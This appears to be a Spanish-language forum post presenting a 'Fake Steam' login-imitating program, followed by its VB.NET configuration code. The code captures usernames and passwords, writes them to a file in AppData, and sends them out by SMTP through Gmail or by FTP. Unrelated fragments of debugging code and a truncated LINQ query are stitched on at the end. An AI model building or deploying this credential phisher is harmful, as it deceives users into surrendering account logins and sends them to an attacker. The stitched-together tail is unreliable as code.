• Soporte multi idioma, soportando un total de 22 de los 26 idiomas del cliente original de Steam. Los idiomas no soportados son Koreano, Japonés, Chino tradicional y Chino simplificado
• Auto-detección de idioma. Por defecto se detectará el idioma del cliente steam instalado en el PC, si el cliente no está instalado se intentará utilizar el idioma del SO, si esto falla también, se utilizará el Inglés.
• Simulación elaborada de varias características del cliente original de Steam, así cómo de los efectos de iluminación de los controles de la interfáz original.
• Almacenamiento de usuario/contraseña en archivo local.
• Envio de usuario/contraseña mediante SMTP.
• Envio de usuario/contraseña mediante FTP.

       

#Region " Steam Interface Configuration "
 
        ''' <summary>
        ''' The default steam interface language.
        ''' Use this for testing purposses
        ''' </summary>
        Public Shared ReadOnly DefaultSteamLanguage As New CultureInfo("en-US")
 
        ''' <summary>
        ''' If set to <c>True</c>, overrides the default steam interface language instead of detect the proper language.
        ''' Use this for testing purposses
        ''' </summary>
        Public Shared ReadOnly UseDefaultSteamLanguage As Boolean = False
 
#End Region

#Region " Username and Password Configuration "
 
        ''' <summary>
        ''' The string format to write/upload/send the captured username/password.
        ''' </summary>
        Public Shared ReadOnly UserPassTextFormat As String =
<a><![CDATA[
Username={0}
Password={1}
]]></a>.Value
 
#End Region

#Region " Local Storage Configuration "
 
        ''' <summary>
        ''' If set to <c>True</c>, enables local storage of the username/password.
        ''' </summary>
        Public Shared ReadOnly EnableLocalStorage As Boolean = True
 
        ''' <summary>
        ''' The local directory where to write the file.
        ''' If the directory doesn't exists, it will try to create it.
        ''' </summary>
        Public Shared ReadOnly LocalDir As String =
            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), " Fake Steam")
 
        ''' <summary>
        ''' The file name to store the data on the local directory.
        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
        ''' </summary>
        Public Shared ReadOnly LocalFilenameFormat As String =
            String.Format("FakeSteam_{0}_{1}_{2}.txt", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
 
        ''' <summary>
        ''' Sets the local directory attributes, such as system or hidden.
        ''' </summary>
        Public Shared ReadOnly DirAttribs As FileAttributes = FileAttributes.Normal
 
        ''' <summary>
        ''' Sets the local file attributes, such as readonly or hidden.
        ''' </summary>
        ''' 
        Public Shared ReadOnly FileAttribs As FileAttributes = FileAttributes.Normal
 
        ''' <summary>
        ''' Sets the textfile encoding.
        ''' </summary>
        Public Shared ReadOnly FileEncoding As Encoding = Encoding.Default ' ANSI Encoding.
 
#End Region

#Region " SMTP Sending Configuration"
 
        ''' <summary>
        ''' If set to <c>True</c>, enables STMP sending of the username/password.
        ''' </summary>
        Public Shared ReadOnly EnableSmtp As Boolean = True
 
        ''' <summary>
        ''' The SMTP server.
        ''' </summary>
        Public Shared ReadOnly SmtpServer As New SmtpClient("smtp.gmail.com")
 
        ''' <summary>
        ''' The SMTP server port.
        ''' </summary>
        Public Shared ReadOnly SmtpPort As Integer = 0
 
        ''' <summary>
        ''' The SMTP security.
        ''' </summary>
        Public Shared ReadOnly SmtpSslEnabled As Boolean = True
 
        ''' <summary>
        ''' The mail account address.
        ''' </summary>
        Public Shared ReadOnly MailAddress As New MailAddress("name@serv.com")
 
        ''' <summary>
        ''' The mail account username/password credentials.
        ''' </summary>
        Public Shared ReadOnly MailCredentials As New NetworkCredential("username", "password")
 
        ''' <summary>
        ''' The mail subject.
        ''' By default is "Steam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}"
        ''' </summary>
        Public Shared ReadOnly MailSubject As String =
            String.Format("Steam_{0}_{1}_{2}", Environment.MachineName, Environment.UserName, DateTime.Now.ToString("dd-MM-yyyy\_hh-mm-ss"))
 
#End Region

#Region " FTP Uploading Configuration "
 
        ''' <summary>
        ''' If set to <c>True</c>, enables FTP upload of the username/password.
        ''' </summary>
        Public Shared ReadOnly EnableFtp As Boolean = False
 
        ''' <summary>
        ''' The FTP Server address.
        ''' </summary>
        Public Shared ReadOnly FtpAddress As Uri = New Uri("ftp://127.0.0.1/")
 
        ''' <summary>
        ''' The FTP server port.
        ''' </summary>
        Public Shared ReadOnly FtpPort As Integer = 21
 
        ''' <summary>
        ''' The FTP username/password credentials.
        ''' </summary>
        Public Shared ReadOnly FtpCredentials As New NetworkCredential("username", "password")
 
        ''' <summary>
        ''' The FTP directory where to upload the file.
        ''' The directory path should exist.
        ''' </summary>
        Public Shared ReadOnly FtpDir As String = "Fake Steam/"
 
        ''' <summary>
        ''' The file name to store the data on the FTP directory.
        ''' By default is "FakeSteam_{ComputerName}_{Username}_{Day}-{Month}-{Year}_{Hour}-{Minute}-{Seconds}.txt"
        ''' </summary>
        Public Shared ReadOnly FtpFilenameFormat As String = UserConfig.LocalFilenameFormat
 
        ''' <summary>
        ''' If set to <c>True</c>, uses Binary mode for the file transfer.
        ''' </summary>
        Public Shared ReadOnly UseBinaryTransfer As Boolean = False
 
#End Region

        Dim cuenta As Integer = cols.Count()
        MsgBox(cols.Count) lleva cuatro bien
        MsgBox(col1.Count) lleva 10 numeros bien
        MsgBox(col2.Count) lleva 9 mal eliminar

From col As IEnumerable(Of Integer) In {col1, col2, col3, col4}
Where (col.Count() <= Max)
Group By...
...